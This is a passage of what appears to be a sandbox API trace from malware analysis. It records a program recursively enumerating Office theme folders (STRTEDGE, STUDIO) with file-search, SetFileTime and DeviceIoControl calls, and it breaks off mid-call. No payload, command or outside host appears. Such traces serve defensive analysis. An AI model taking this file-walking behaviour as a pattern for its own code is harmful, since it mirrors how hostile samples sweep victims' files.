FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.307] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01488) returned 1 [0055.307] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.307] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0055.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.339] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf03430 [0055.339] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf03430, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf03430, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03430) returned 1 [0055.340] NtClose (Handle=0x170) returned 0x0 [0055.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01488 [0055.340] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.340] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.340] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01590 [0055.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00900 [0055.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01ed8 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00920 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01fe0 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00940 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf020e8 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00960 [0055.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf021f0 [0055.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.342] GetLastError () returned 0x12 [0055.342] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.342] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.342] GetLastError () returned 0x12 [0055.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01488) returned 1 [0055.342] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01590) returned 1 [0055.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0055.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.343] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.343] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf03430 [0055.343] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf03430, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf03430, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03430) returned 1 [0055.343] NtClose (Handle=0x17c) returned 0x0 [0055.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01590 [0055.343] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.343] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.344] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01488 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00980 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf022f8 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.344] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf009a0 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf02400 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.344] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0055.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf009c0 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf02508 [0055.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.345] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf009e0 [0055.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf02610 [0055.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.345] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.345] GetLastError () returned 0x12 [0055.345] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.345] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.345] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.346] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.346] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0055.346] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 